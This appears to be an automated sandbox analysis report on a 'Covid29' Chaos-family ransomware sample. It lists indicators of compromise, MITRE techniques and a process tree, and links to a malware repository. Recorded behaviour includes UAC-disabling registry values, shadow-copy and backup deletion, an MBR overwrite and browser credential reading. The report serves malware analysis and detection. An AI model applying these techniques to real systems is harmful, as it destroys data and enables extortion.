chaos | hxxps://github[.]com/pankoza2-pl/malwaredatabase-old/tree/main/Covid29-Ransomware

Analysis

max time kernel
235s
max time network
235s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
13-09-2024 20:33

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General

Target

https://github.com/pankoza2-pl/malwaredatabase-old/tree/main/Covid29-Ransomware

Score

10^/10

chaos bootkit defense_evasion discovery evasion execution impact persistence ransomware spyware stealer trojan upx

Malware Config

Signatures

Chaos
Ransomware family first seen in June 2021.
ransomware chaos

Chaos Ransomware 4 IoCs

resource	yara_rule
behavioral1/files/0x000300000000069d-416.dat	family_chaos
behavioral1/memory/2300-424-0x0000000000590000-0x00000000005B0000-memory.dmp	family_chaos
behavioral1/memory/2960-513-0x0000000000400000-0x00000000005D5000-memory.dmp	family_chaos
behavioral1/memory/2960-520-0x0000000000400000-0x00000000005D5000-memory.dmp	family_chaos

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
4044	bcdedit.exe
4500	bcdedit.exe

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1320	wbadmin.exe

Disables Task Manager via registry modification
evasion

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.url	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\covid29-is-here.txt	svchost.exe

Executes dropped EXE 4 IoCs

pid	Process
1448	mbr.exe
2300	Cov29Cry.exe
972	svchost.exe
1360	Cov29LockScreen.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2960-391-0x0000000000400000-0x00000000005D5000-memory.dmp	upx
behavioral1/memory/2960-513-0x0000000000400000-0x00000000005D5000-memory.dmp	upx
behavioral1/memory/2960-520-0x0000000000400000-0x00000000005D5000-memory.dmp	upx

Drops desktop.ini file(s) 34 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AccountPictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\OneDrive\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini	svchost.exe
File opened for modification	F:\$RECYCLE.BIN\S-1-5-21-6179872-1886041298-1573312864-1000\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Saved Games\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\Camera Roll\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\Saved Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Contacts\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Searches\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini	svchost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
26	raw.githubusercontent.com

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	mbr.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\7bwgka39w.jpg"	svchost.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	UserOOBEBroker.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setupact.log	UserOOBEBroker.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	UserOOBEBroker.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	UserOOBEBroker.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	shutdown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TrojanRansomCovid29.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mbr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Cov29LockScreen.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FileCoAuth.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2736	PING.EXE
3488	PING.EXE

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2644	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2684	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133707333231612020"	chrome.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Local Settings	chrome.exe

Modifies registry key 1 TTPs 7 IoCs

Modify Registry

T1112

pid	Process
2636	reg.exe
2080	reg.exe
124	reg.exe
4988	reg.exe
3744	reg.exe
1592	reg.exe
3384	reg.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Covid29 Ransomware.zip:Zone.Identifier	chrome.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
2736	PING.EXE
3488	PING.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
972	svchost.exe

Suspicious behavior: EnumeratesProcesses 39 IoCs

pid	Process
4148	chrome.exe
4148	chrome.exe
4860	chrome.exe
4860	chrome.exe
4860	chrome.exe
4860	chrome.exe
2300	Cov29Cry.exe
2300	Cov29Cry.exe
2300	Cov29Cry.exe
2300	Cov29Cry.exe
2300	Cov29Cry.exe
2300	Cov29Cry.exe
2300	Cov29Cry.exe
2300	Cov29Cry.exe
2300	Cov29Cry.exe
2300	Cov29Cry.exe
2300	Cov29Cry.exe
2300	Cov29Cry.exe
2300	Cov29Cry.exe
2300	Cov29Cry.exe
2300	Cov29Cry.exe
2300	Cov29Cry.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
668	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe
Token: SeShutdownPrivilege	4148	chrome.exe
Token: SeCreatePagefilePrivilege	4148	chrome.exe

Suspicious use of FindShellTrayWindow 33 IoCs

pid	Process
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe
4148	chrome.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1176	PickerHost.exe
1360	Cov29LockScreen.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4148 wrote to memory of 3740	4148	chrome.exe	78
PID 4148 wrote to memory of 3740	4148	chrome.exe	78
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 1028	4148	chrome.exe	79
PID 4148 wrote to memory of 2128	4148	chrome.exe	80
PID 4148 wrote to memory of 2128	4148	chrome.exe	80
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81
PID 4148 wrote to memory of 1104	4148	chrome.exe	81

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://github.com/pankoza2-pl/malwaredatabase-old/tree/main/Covid29-Ransomware
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4148
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb4ba1cc40,0x7ffb4ba1cc4c,0x7ffb4ba1cc58
  2⤵
  PID:3740
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1776,i,8842683910209296677,7865641287033414892,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=1748 /prefetch:2
  2⤵
  PID:1028
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2024,i,8842683910209296677,7865641287033414892,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=2084 /prefetch:3
  2⤵
  PID:2128
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2144,i,8842683910209296677,7865641287033414892,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=2336 /prefetch:8
  2⤵
  PID:1104
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3076,i,8842683910209296677,7865641287033414892,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=3104 /prefetch:1
  2⤵
  PID:4260
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3092,i,8842683910209296677,7865641287033414892,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=3148 /prefetch:1
  2⤵
  PID:2012
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4528,i,8842683910209296677,7865641287033414892,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4652 /prefetch:8
  2⤵
  PID:1644
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=3532,i,8842683910209296677,7865641287033414892,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4732 /prefetch:8
  2⤵
  - NTFS ADS
  PID:3168
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=4804,i,8842683910209296677,7865641287033414892,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4724 /prefetch:1
  2⤵
  PID:1188
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1000,i,8842683910209296677,7865641287033414892,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=5208 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4860

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:3548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1772

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:2848

C:\Windows\System32\oobe\UserOOBEBroker.exe
C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding
1⤵
- Drops file in Windows directory
PID:2784

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe -Embedding
1⤵
- System Location Discovery: System Language Discovery
PID:1456

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Covid29 Ransomware\readme.txt
1⤵
PID:3056

C:\Users\Admin\Desktop\Covid29 Ransomware\TrojanRansomCovid29.exe
"C:\Users\Admin\Desktop\Covid29 Ransomware\TrojanRansomCovid29.exe"
1⤵
